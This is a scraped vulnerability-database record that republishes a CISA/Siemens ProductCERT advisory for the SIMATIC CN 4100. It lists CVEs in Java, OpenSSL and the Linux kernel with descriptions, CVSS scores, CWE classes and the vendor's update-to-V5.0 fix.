JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: AWT, JavaFX). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.4 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.4\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21933\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.1\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21945\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-400 Uncontrolled Resource Consumption\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21947\n<div class=\"csaf-accordion-content\">\n\nVulnerability in Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u471-b50. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.1 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.1\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22924\n<div class=\"csaf-accordion-content\">\n\nThe affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions. This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-306 Missing Authentication for Critical Function\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.1\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22925\n<div class=\"csaf-accordion-content\">\n\nThe affected application is susceptible to resource exhaustion when subjected to high volume of TCP SYN packets This could allow an attacker to render the service unavailable and cause denial-of-service conditions by overwhelming system resources.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28387\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side. Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code. However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage. By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable. The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records. No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28388\n<div class=\"csaf-accordion-content\">\n\nIssue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing. Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application. When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference. Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28389\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28390\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31789\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms. Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior. If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow. Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31790\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer. Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker. RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced. If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext. As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue. The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-754 Improper Check for Unusual or Exceptional Conditions\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nSiemens ProductCERT reported these vulnerabilities to CISA.\n\n\n\n\nGeneral Recommendations\n\nAs a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity\n\n\n\nAdditional Resources\n\nFor further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories\n\n\n\nTerms of Use\n\nThe use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.\n\nMinimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolate them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\n\n\nAdvisory Conversion Disclaimer\n\nThis ICSA is a verbatim republication of Siemens ProductCERT SSA-032379 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided \"as-is\" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-12\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-12\n1\nPublication Date\n\n\n2026-05-14\n2\nInitial CISA Republication of Siemens ProductCERT SSA-032379 advisory\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-05-14T10:00:00.000000Z"}, {"uuid": "5aab53d6-1441-4eb5-aa17-10b7d7984bed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21933", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-134-10", "content": "View CSAF\n\nSummary\n\nSIMATIC CN 4100 contains multiple vulnerabilities which could potentially lead to a compromise in availability, integrity and confidentiality. Siemens has released a new version for SIMATIC CN 4100 and recommends to update to the latest version.\n\nThe following versions of Siemens SIMATIC are affected:\n\n\n\nSIMATIC CN 4100 vers:intdot/<5.0 \n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 9.6\nSiemens\nSiemens SIMATIC\nNULL Pointer Dereference, Reachable Assertion, Use After Free, Out-of-bounds Write, Integer Overflow or Wraparound, Allocation of Resources Without Limits or Throttling, Out-of-bounds Read, Covert Timing Channel, Stack-based Buffer Overflow, Inefficient Algorithmic Complexity, Missing Release of Memory after Effective Lifetime, Improper Restriction of Operations within the Bounds of a Memory Buffer, Improper Input Validation, Improper Locking, Uncontrolled Recursion, Buffer Access with Incorrect Length Value, Race Condition within a Thread, Missing Synchronization, Use of Uninitialized Resource, Double Free, Missing Release of Resource after Effective Lifetime, Loop with Unreachable Exit Condition ('Infinite Loop'), Improper Update of Reference Count, Improper Control of a Resource Through its Lifetime, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), Unexpected Status Code or Return Value, Divide By Zero, Improper Validation of Specified Index, Position, or Offset in Input, Comparison Using Wrong Factors, Observable Timing Discrepancy, Improper Validation of Syntactic Correctness of Input, Deadlock, Signal Handler Race Condition, Improper Following of Specification by Caller, Improper Check for Dropped Privileges, Transmission of Private Resources into a New Sphere ('Resource Leak'), Improper Resource Shutdown or Release, Improper Access Control, Exposure of Sensitive Information to an Unauthorized Actor, Relative Path Traversal, Improper Neutralization of Escape, Meta, or Control Sequences, Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), Uncontrolled Resource Consumption, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authentication for Critical Function, Improper Check for Unusual or Exceptional Conditions\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Critical Manufacturing\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Germany\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-47704\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Check link_res->hpo_dp_link_enc before using it [WHAT & HOW] Functions dp_enable_link_phy and dp_disable_link_phy can pass link_res without initializing hpo_dp_link_enc and it is necessary to check for null before dereferencing. This fixes 2 FORWARD_NULL issues reported by Coverity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-57924\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: relax assertions on failure to encode file handles Encoding file handles is usually performed by a filesystem >encode_fh() method that may fail for various reasons. The legacy users of exportfs_encode_fh(), namely, nfsd and name_to_handle_at(2) syscall are ready to cope with the possibility of failure to encode a file handle. There are a few other users of exportfs_encode_{fh,fid}() that currently have a WARN_ON() assertion when ->encode_fh() fails. Relax those assertions because they are wrong. The second linked bug report states commit 16aac5ad1fa9 (\"ovl: support encoding non-decodable file handles\") in v6.6 as the regressing commit, but this is not accurate. The aforementioned commit only increases the chances of the assertion and allows triggering the assertion with the reproducer using overlayfs, inotify and drop_caches. Triggering this assertion was always possible with other filesystems and other reasons of ->encode_fh() failures and more particularly, it was also possible with the exact same reproducer using overlayfs that is mounted with options index=on,nfs_export=on also on kernels < v6.6. Therefore, I am not listing the aforementioned commit as a Fixes commit. Backport hint: this patch will have a trivial conflict applying to v6.6.y, and other trivial conflicts applying to stable kernels < v6.6.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-58240\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: separate no-async decryption request handling from async If we're not doing async, the handling is much simpler. There's no reference counting, we just need to wait for the completion to wake us up and return its result. We should preferably also use a separate crypto_wait. I'm not seeing a UAF as I did in the past, I think aec7961916f3 (\"tls: fix race between async notify and socket close\") took care of it. This will make the next fix easier.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div 